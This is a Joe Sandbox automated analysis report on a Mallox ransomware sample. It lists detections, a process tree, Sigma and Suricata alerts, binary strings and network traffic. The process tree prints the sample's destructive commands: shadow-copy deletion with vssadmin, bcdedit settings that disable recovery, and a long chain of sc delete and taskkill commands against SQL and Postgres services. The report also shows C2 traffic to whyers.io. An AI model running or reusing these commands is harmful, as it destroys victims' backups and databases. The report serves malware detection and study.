Edit tour

Windows Analysis Report
malware.exe

Overview

General Information

Sample name:	malware.exe (renamed file extension from none to exe)
Original sample name:	malware
Analysis ID:	1570605
MD5:	99bfaaacebf1b34fdebd4e7ce4070a36
SHA1:	2e4080a5a71ad5030b9cab6e1465a5777ea57cf2
SHA256:	c0e35b19f97021416e3724006511afc95d6aa409404e812d8c62b955bc917d3c
Infos:

Detection

Targeted Ransomware, TrojanRansom

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found ransom note / readme

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected RansomwareGeneric

Yara detected Targeted Ransomware

Yara detected TrojanRansom

AI detected suspicious sample

Creates files in the recycle bin to hide itself

Deletes shadow drive data (may be related to ransomware)

Machine Learning detection for sample

May disable shadow drive data (uses vssadmin)

Opens network shares

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Sigma detected: Suspicious Epmap Connection

Uses bcdedit to modify the Windows boot settings

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

Abnormal high CPU Usage

Checks for available system drives (often done to infect USB drives)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Enables debug privileges

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

May use bcdedit to modify the Windows boot settings

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Stores files to the Windows start menu directory

Uses 32bit PE files

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

malware.exe (PID: 6904 cmdline: "C:\Users\user\Desktop\malware.exe" MD5: 99BFAAACEBF1B34FDEBD4E7CE4070A36)

cmd.exe (PID: 4544 cmdline: "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

vssadmin.exe (PID: 6256 cmdline: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet MD5: B58073DB8892B67A672906C9358020EC)

conhost.exe (PID: 648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6280 cmdline: "C:\Windows\System32\cmd.exe" /C sc delete "MSSQLFDLauncher"&&sc delete "MSSQLSERVER"&&sc delete "SQLSERVERAGENT"&&sc delete "SQLBrowser"&&sc delete "SQLTELEMETRY"&&sc delete "MsDtsServer130"&&sc delete "SSISTELEMETRY130"&&sc delete "SQLWriter"&&sc delete "MSSQL$VEEAMSQL2012"&&sc delete "SQLAgent$VEEAMSQL2012"&&sc delete "MSSQL"&&sc delete "SQLAgent"&&sc delete "MSSQLServerADHelper100"&&sc delete "MSSQLServerOLAPService"&&sc delete "MsDtsServer100"&&sc delete "ReportServer"&&sc delete "SQLTELEMETRY$HL"&&sc delete "TMBMServer"&&sc delete "MSSQL$PROGID"&&sc delete "MSSQL$WOLTERSKLUWER"&&sc delete "SQLAgent$PROGID"&&sc delete "SQLAgent$WOLTERSKLUWER"&&sc delete "MSSQLFDLauncher$OPTIMA"&&sc delete "MSSQL$OPTIMA"&&sc delete "SQLAgent$OPTIMA"&&sc delete "ReportServer$OPTIMA"&&sc delete "msftesql$SQLEXPRESS"&&sc delete "postgresql-x64-9.4"&&rem Kill "SQL"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2056 cmdline: sc delete "MSSQLFDLauncher" MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

cmd.exe (PID: 4600 cmdline: "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

notepad.exe (PID: 4456 cmdline: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FILE RECOVERY.txt MD5: 27F71B12CB585541885A31BE22F61C83)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: malware.exe PID: 6904	JoeSecurity_Ransomware_Generic	Yara detected Ransomware_Generic	Joe Security
Process Memory Space: malware.exe PID: 6904	JoeSecurity_TargetedRansomware	Yara detected Targeted Ransomware	Joe Security
Process Memory Space: malware.exe PID: 6904	JoeSecurity_TrojanRansom	Yara detected TrojanRansom	Joe Security

Sigma Signatures

System Summary

Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities

Source: Process started

Author: Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet, CommandLine: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet, CommandLine|base64offset|contains: u^, Image: C:\Windows\System32\vssadmin.exe, NewProcessName: C:\Windows\System32\vssadmin.exe, OriginalFileName: C:\Windows\System32\vssadmin.exe, ParentCommandLine: "C:\Users\user\Desktop\malware.exe", ParentImage: C:\Users\user\Desktop\malware.exe, ParentProcessId: 6904, ParentProcessName: malware.exe, ProcessCommandLine: "C:\Windows\sysnative\vssadmin.exe" delete shadows /all /quiet, ProcessId: 6256, ProcessName: vssadmin.exe

Sigma detected: Suspicious Epmap Connection

Source: Network Connection

Author: frack113, Tim Shelton (fps): Data: DestinationIp: 192.168.2.1, DestinationIsIpv6: false, DestinationPort: 135, EventID: 3, Image: C:\Users\user\Desktop\malware.exe, Initiated: true, ProcessId: 6904, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49737

Suricata Signatures

ET MALWARE Mallox Ransomware CnC Domain (whyers .io) in DNS Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T12:40:59.562832+0100	2046826	1	A Network Trojan was detected	192.168.2.4	55579	1.1.1.1	53	UDP

ET MALWARE Observed Mallox Ransomware Domain (whyers .io) in TLS SNI

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T12:41:01.288018+0100	2046827	1	A Network Trojan was detected	192.168.2.4	49733	13.248.169.48	443	TCP
2024-12-07T12:41:03.154741+0100	2046827	1	A Network Trojan was detected	192.168.2.4	49734	13.248.169.48	443	TCP
2024-12-07T12:41:05.039651+0100	2046827	1	A Network Trojan was detected	192.168.2.4	49738	13.248.169.48	443	TCP
2024-12-07T12:41:07.058485+0100	2046827	1	A Network Trojan was detected	192.168.2.4	49739	13.248.169.48	443	TCP
2024-12-07T12:41:12.534758+0100	2046827	1	A Network Trojan was detected	192.168.2.4	49740	13.248.169.48	443	TCP
2024-12-07T12:41:14.330007+0100	2046827	1	A Network Trojan was detected	192.168.2.4	49742	13.248.169.48	443	TCP
2024-12-07T12:41:16.128235+0100	2046827	1	A Network Trojan was detected	192.168.2.4	49744	13.248.169.48	443	TCP

ET MALWARE Win32/Filecoder.OJC CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-07T12:41:01.724541+0100	2039815	1	A Network Trojan was detected	192.168.2.4	49733	13.248.169.48	443	TCP
2024-12-07T12:41:03.633622+0100	2039815	1	A Network Trojan was detected	192.168.2.4	49734	13.248.169.48	443	TCP
2024-12-07T12:41:05.586290+0100	2039815	1	A Network Trojan was detected	192.168.2.4	49738	13.248.169.48	443	TCP
2024-12-07T12:41:07.506995+0100	2039815	1	A Network Trojan was detected	192.168.2.4	49739	13.248.169.48	443	TCP
2024-12-07T12:41:12.977306+0100	2039815	1	A Network Trojan was detected	192.168.2.4	49740	13.248.169.48	443	TCP
2024-12-07T12:41:14.771895+0100	2039815	1	A Network Trojan was detected	192.168.2.4	49742	13.248.169.48	443	TCP
2024-12-07T12:41:16.568045+0100	2039815	1	A Network Trojan was detected	192.168.2.4	49744	13.248.169.48	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: malware.exe

Avira: detected

Multi AV Scanner detection for domain / URL

Source: whyers.io	Virustotal: Detection: 16%			Perma Link
Source: https://whyers.io/QWEwqdsvsf/ap.phps	Virustotal: Detection: 16%			Perma Link

Multi AV Scanner detection for submitted file

Source: malware.exe	ReversingLabs: Detection: 100%
Source: malware.exe	Virustotal: Detection: 82%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.3% probability

Machine Learning detection for sample

Source: malware.exe

Joe Sandbox ML: detected

Source: malware.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 13.248.169.48:443 -> 192.168.2.4:49733 version: TLS 1.2

Source: malware.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: malware.exe, 00000000.00000003.2482024738.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2500906615.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2502598406.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2479874614.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2508320820.0000000004D49000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.maloxmalox source: malware.exe, 00000000.00000003.2519245558.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2522348895.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2496475119.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2508586862.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2511621429.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.maloxl\ source: malware.exe, 00000000.00000003.2517916860.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2524145663.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2503400133.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2502212669.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2520951632.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2500262981.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\FILE RECOVERY.txt1 source: malware.exe, 00000000.00000003.2482024738.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2479874614.0000000004D49000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 696334923056ntkrnlmp.pdbDD2-7850-423A-B1D8-7882CE1A6D15.logGN source: malware.exe, 00000000.00000003.2478408892.0000000004AB1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.malox source: malware.exe, 00000000.00000003.2517916860.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2524145663.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2503400133.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2502212669.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2520951632.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2500262981.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: malware.exe, 00000000.00000003.2479874614.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2175625545.0000000004AB1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error.malox source: malware.exe, 00000000.00000003.2517916860.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2524145663.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2503400133.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2502212669.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2520951632.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2500262981.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: prcr.pdb source: prcr.x3d.0.dr
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: malware.exe, 00000000.00000003.2191393645.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2189324109.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2185245833.0000000004D4F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \\.\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\FILE RECOVERY.txtRY.txt-86F4-D3CB9162C2DEY.txttERY.txttxt.png-white.pngECOVERY.txtgY.txt.png source: malware.exe, 00000000.00000003.2186244420.0000000004A95000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\* source: malware.exe, 00000000.00000003.2268404890.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2208687986.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2287116859.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2223481419.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2200950278.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2245352369.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2224953867.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2241504225.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2215040679.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2243528894.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2289764990.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2228211754.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2175625545.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2250270754.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2185841452.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2238187504.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2216671107.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2247025349.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2195742049.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2269307894.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2206887797.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2191702343.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2261663956.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2254145279.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2176553456.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2281002480.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2203036218.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2265326633.0000000004AC9000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2242475973.0000000004AC9000.00000004.00000020.00020000.00000000.sdm
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.maloxlox source: malware.exe, 00000000.00000003.2517916860.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2524145663.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2503400133.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2502212669.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2520951632.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2500262981.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\FILE RECOVERY.txt source: malware.exe, 00000000.00000003.2185527738.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2217917248.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2198750453.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2221909202.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2225220813.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2196899481.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\FILE RECOVERY.txta\FILE RECOVERY.txtA93746D24D97499F6005AF34C7906F717D420F892FD6D0txttxt source: malware.exe, 00000000.00000003.2486383254.0000000004A93000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \\.\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.malox source: malware.exe, 00000000.00000003.2519245558.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2496475119.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2508586862.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2511621429.0000000004B2C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mi_exe_stub.pdb source: wct3D66.tmp.0.dr
Source:	Binary string: \??\C:\Documents and Settings\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.malox source: malware.exe, 00000000.00000003.2517916860.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2524145663.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2503400133.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2502212669.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2520951632.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp, malware.exe, 00000000.00000003.2500262981.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: #ntkrnlmp.pdb source: malware.exe, 00000000.00000003.2479874614.0000000004D49000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\malware.exe	File opened: z:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: x:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: v:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: t:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: r:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: p:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: n:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: l:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: j:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: h:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: f:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: b:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: y:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: w:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: u:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: s:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: q:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: o:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: m:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: k:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: i:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: g:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: e:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: c:	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: a:	Jump to behavior

Source: C:\Users\user\Desktop\malware.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\Desktop\malware.exe	File opened: C:\ProgramData\Microsoft OneDrive	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: C:\ProgramData\Microsoft OneDrive\setup\refcount.ini	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: C:\ProgramData\Microsoft OneDrive\setup\NULL	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: C:\ProgramData\Microsoft OneDrive\NULL	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: C:\ProgramData\Microsoft OneDrive\setup	Jump to behavior
Source: C:\Users\user\Desktop\malware.exe	File opened: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2046826 - Severity 1 - ET MALWARE Mallox Ransomware CnC Domain (whyers .io) in DNS Lookup : 192.168.2.4:55579 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2046827 - Severity 1 - ET MALWARE Observed Mallox Ransomware Domain (whyers .io) in TLS SNI : 192.168.2.4:49744 -> 13.248.169.48:443
Source: Network traffic	Suricata IDS: 2046827 - Severity 1 - ET MALWARE Observed Mallox Ransomware Domain (whyers .io) in TLS SNI : 192.168.2.4:49734 -> 13.248.169.48:443
Source: Network traffic	Suricata IDS: 2046827 - Severity 1 - ET MALWARE Observed Mallox Ransomware Domain (whyers .io) in TLS SNI : 192.168.2.4:49742 -> 13.248.169.48:443
Source: Network traffic	Suricata IDS: 2046827 - Severity 1 - ET MALWARE Observed Mallox Ransomware Domain (whyers .io) in TLS SNI : 192.168.2.4:49733 -> 13.248.169.48:443
Source: Network traffic	Suricata IDS: 2046827 - Severity 1 - ET MALWARE Observed Mallox Ransomware Domain (whyers .io) in TLS SNI : 192.168.2.4:49740 -> 13.248.169.48:443
Source: Network traffic	Suricata IDS: 2046827 - Severity 1 - ET MALWARE Observed Mallox Ransomware Domain (whyers .io) in TLS SNI : 192.168.2.4:49738 -> 13.248.169.48:443
Source: Network traffic	Suricata IDS: 2046827 - Severity 1 - ET MALWARE Observed Mallox Ransomware Domain (whyers .io) in TLS SNI : 192.168.2.4:49739 -> 13.248.169.48:443
Source: Network traffic	Suricata IDS: 2039815 - Severity 1 - ET MALWARE Win32/Filecoder.OJC CnC Checkin : 192.168.2.4:49734 -> 13.248.169.48:443
Source: Network traffic	Suricata IDS: 2039815 - Severity 1 - ET MALWARE Win32/Filecoder.OJC CnC Checkin : 192.168.2.4:49744 -> 13.248.169.48:443
Source: Network traffic	Suricata IDS: 2039815 - Severity 1 - ET MALWARE Win32/Filecoder.OJC CnC Checkin : 192.168.2.4:49740 -> 13.248.169.48:443
Source: Network traffic	Suricata IDS: 2039815 - Severity 1 - ET MALWARE Win32/Filecoder.OJC CnC Checkin : 192.168.2.4:49738 -> 13.248.169.48:443
Source: Network traffic	Suricata IDS: 2039815 - Severity 1 - ET MALWARE Win32/Filecoder.OJC CnC Checkin : 192.168.2.4:49733 -> 13.248.169.48:443
Source: Network traffic	Suricata IDS: 2039815 - Severity 1 - ET MALWARE Win32/Filecoder.OJC CnC Checkin : 192.168.2.4:49739 -> 13.248.169.48:443
Source: Network traffic	Suricata IDS: 2039815 - Severity 1 - ET MALWARE Win32/Filecoder.OJC CnC Checkin : 192.168.2.4:49742 -> 13.248.169.48:443

Source: global traffic	HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: whyers.ioContent-Length: 163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: whyers.ioContent-Length: 163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: whyers.ioContent-Length: 163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: whyers.ioContent-Length: 163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: whyers.ioContent-Length: 163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: whyers.ioContent-Length: 163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /QWEwqdsvsf/ap.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: whyers.ioContent-Length: 163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 13.248.169.48 13.248.169.48
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: Joe Sandbox View

ASN Name: AMAZON-02US AMAZON-02US

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\malware.exe

File created: C:\Documents and Settings\Default\Local Settings\Temporary Internet Files\FILE RECOVERY.txt

Jump to behavior

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache

